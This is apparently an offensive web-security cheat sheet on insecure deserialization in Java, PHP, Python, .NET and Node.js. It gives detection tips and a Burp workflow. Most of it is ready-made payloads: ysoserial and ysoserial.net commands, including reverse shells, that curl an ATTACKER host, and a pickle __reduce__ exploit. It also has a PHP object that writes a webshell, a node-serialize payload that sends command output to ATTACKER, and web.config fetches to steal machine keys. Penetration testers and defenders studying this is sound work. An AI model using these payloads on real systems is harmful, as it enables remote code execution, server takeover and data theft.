Web

Insecure Deserialization

Insecure deserialization across Java, PHP, Python, .NET, and Node.js: detecting serialized objects, ysoserial gadget chains, PHP magic methods, .NET ViewState exploitation, pickle RCE, and Burp Deserialization Scanner workflow.

What is Insecure Deserialization

Serialization converts an object into a transmittable byte stream. Deserialization reconstructs it. When an app deserializes user-controlled data, an attacker can modify the serialized object to change the app’s behaviour — or supply a gadget chain that executes arbitrary code during deserialization.


Detecting Serialized Data

Java

Serialized Java objects start with bytes ac ed 00 05 (binary) or rO0AB (base64):

echo "rO0ABXNy..." | base64 -d | xxd | head -1
# Output: ac ed 00 05 ...

Look for these in:

  • HTTP request bodies
  • Cookies (JSESSIONID, rememberMe)
  • Hidden form fields
  • JSON/XML fields with base64 blobs

PHP

Serialized PHP starts with O: (object), a: (array), s: (string):

O:4:"User":2:{s:4:"name";s:5:"admin";s:5:"admin";b:1;}

Found in: cookies, hidden fields, URL parameters.

Python (pickle)

Pickle byte streams start with \x80\x04 or ( for older protocols. Often base64 encoded. Found in: Flask cookies (if not using itsdangerous correctly), cache stores.

.NET

BinaryFormatter serialized data starts with AAEAAAD (base64). ViewState is base64, often contains __VIEWSTATE hidden form field.

Node.js (node-serialize)

JSON objects with a _$$ND_FUNC$$_ key containing a function string:

{"rce":"_$$ND_FUNC$$_function(){require('child_process').execSync('id')}()"}

Java Deserialization — ysoserial

ysoserial generates payloads using known “gadget chains” (existing library code that can be chained to achieve RCE).

List available gadget chains:

java -jar ysoserial.jar

Generate a payload (CommonsCollections6 is a reliable chain):

java -jar ysoserial.jar CommonsCollections6 'curl http://ATTACKER:8080/?rce=1' > payload.ser

Base64-encode for HTTP:

java -jar ysoserial.jar CommonsCollections6 'curl http://ATTACKER:8080/?rce=1' | base64 -w 0

Test each chain — success depends on which libraries are on the classpath.

Common chains to try:

CommonsCollections1  CommonsCollections3  CommonsCollections6
Spring1  Spring2
Hibernate1  Hibernate2
BeanShell1
ROME
Groovy1

Detect Java deserialization via DNS (Burp Collaborator)

java -jar ysoserial.jar URLDNS "http://YOUR_COLLABORATOR_SUBDOMAIN" | base64 -w 0

Send the base64 payload in the target parameter. If Collaborator receives a DNS lookup → deserialization confirmed (URLDNS causes DNS lookups, not RCE — safe for detection).


PHP Deserialization — Magic Methods

PHP calls magic methods automatically during deserialization:

MethodCalled when
__wakeup()Object is deserialized
__destruct()Object is garbage collected
__toString()Object is used as a string
__call()Undefined method is invoked

If these methods perform dangerous operations (file write, include, eval, system), modify the serialized object’s properties to control them.

Example: Modifying a serialized PHP object

Original cookie:

O:4:"User":1:{s:8:"username";s:5:"guest";}

Modified to admin:

O:4:"User":1:{s:8:"username";s:5:"admin";}

Or exploit a __destruct that writes a file:

// App code: $this->logFile = "/tmp/log.txt"; file_put_contents($this->logFile, $data);

Modify logFile to a web-accessible path and data to a webshell:

O:4:"User":2:{s:7:"logFile";s:25:"/var/www/html/shell.php";s:4:"data";s:25:"<?php system($_GET[0]); ?>";}

PHP Object Injection with Phar

Phar archives trigger deserialization on file operations (file_exists(), include(), fopen()). If the app processes a file path you control:

# Create a malicious Phar file
php -d phar.readonly=0 gen_phar.php

Pass phar://path/to/evil.phar as the file path input.


Python Pickle RCE

Pickle’s __reduce__ method specifies what to call during deserialization:

import pickle, os, base64

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://ATTACKER:8080/?rce=1',))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload)

Submit the base64 output wherever a pickle object is expected (cookie, form field, API parameter).


.NET ViewState Deserialization

ViewState is a base64+MAC-protected serialized object in __VIEWSTATE. If the machineKey is known or weak, you can forge a malicious ViewState.

Step 1 — Identify machineKey exposure

curl -s https://TARGET/web.config
curl -s https://TARGET/appname/web.config

Or leak via LFI / path traversal.

Step 2 — Generate payload with ysoserial.net

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile \
  --path="/PAGE_PATH.aspx" \
  --apppath="/" \
  --decryptionalg="AES" \
  --decryptionkey="MACHINE_KEY" \
  --validationalg="SHA1" \
  --validationkey="VALIDATION_KEY" \
  -c "powershell -c 'curl http://ATTACKER/'"

Submit the generated ViewState in the __VIEWSTATE POST parameter.

Step 3 — No key? Try without MAC validation

Some apps disable enableViewStateMac. Check if a ViewState without a valid MAC is accepted.


Node.js node-serialize RCE

# Install and test
npm install node-serialize

Malicious payload:

{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(err,stdout){require('http').get('http://ATTACKER/?o='+stdout)})}()"}

URL-encode and submit in any cookie or POST parameter that uses node-serialize.unserialize().


Burp Suite workflow

  1. Proxy — look for base64 blobs in cookies, bodies, hidden fields. Decode them; check for serialized format identifiers.
  2. Burp Scanner — active scan detects Java deserialization (ac ed 00 05 patterns) and flags them.
  3. Java Deserialization Scanner extension (BApp) — sends ysoserial probes automatically and reports via Collaborator.
  4. Deserialization Scanner (BApp) — broader multi-language detection.
  5. Repeater — replace the serialized blob with your crafted payload; base64-encode and URL-encode as needed.
  6. Collaborator — use URLDNS payloads first (safe, no side effects) to confirm deserialization before escalating to RCE.

.NET Deserialization (JSON.NET / BinaryFormatter)

Detection

.NET serialized objects appear as:

  • BinaryFormatter: base64 starting with AAEAAAD///// (binary serialization)
  • JSON.NET: JSON with $type keys: {"$type":"System.Windows.Data.ObjectDataProvider...
  • XML (XmlSerializer / DataContractSerializer): XML with namespace xmlns:i=
  • ViewState: base64 in __VIEWSTATE field (see Padding Oracle page for ViewState forgery)

ObjectDataProvider gadget (JSON.NET)

The ObjectDataProvider gadget calls a method on any object during deserialization. Combined with Process.Start, this achieves RCE.

{
    "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName": "Start",
    "MethodParameters": {
        "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "$values": ["cmd.exe", "/c calc"]
    },
    "ObjectInstance": {
        "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
    }
}

ysoserial.NET

# List available gadgets
ysoserial.exe -h

# ObjectDataProvider (JSON.NET) — pop calc
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc" -o Raw

# ObjectDataProvider — reverse shell
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "powershell -enc BASE64_ENCODED_PS1" -o Raw

# TypeConfuseDelegate (BinaryFormatter) — for binary deserialization endpoints
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o Base64

# WindowsIdentity (BinaryFormatter)
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" -o Base64

Download: https://github.com/pwntester/ysoserial.net/releases

TypeConfuseDelegate gadget (BinaryFormatter)

Works by confusing a Comparison<string> delegate into executing Process.Start:

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "cmd /c ping ATTACKER" -o Base64

Base64-encode the output and submit it in any parameter that is deserialized with BinaryFormatter.

ViewState deserialization (ASP.NET without MAC)

If ViewState MAC validation is disabled, forge a ViewState payload:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "whoami > C:\output.txt" --islegacy --validationalg="SHA1" --validationkey="KEY_FROM_WEB_CONFIG"

Pass the output as __VIEWSTATE in a POST request.

Detection via Burp

  • Search cookies and POST bodies for AAEAAAD, $type, or __VIEWSTATE values.
  • Decode base64 and check for AAEAAAD prefix → BinaryFormatter.
  • Check for $type with ObjectDataProvider or TypeConfuseDelegate → JSON.NET gadget likely works.
  • Java Deserialization Scanner BApp also detects some .NET patterns.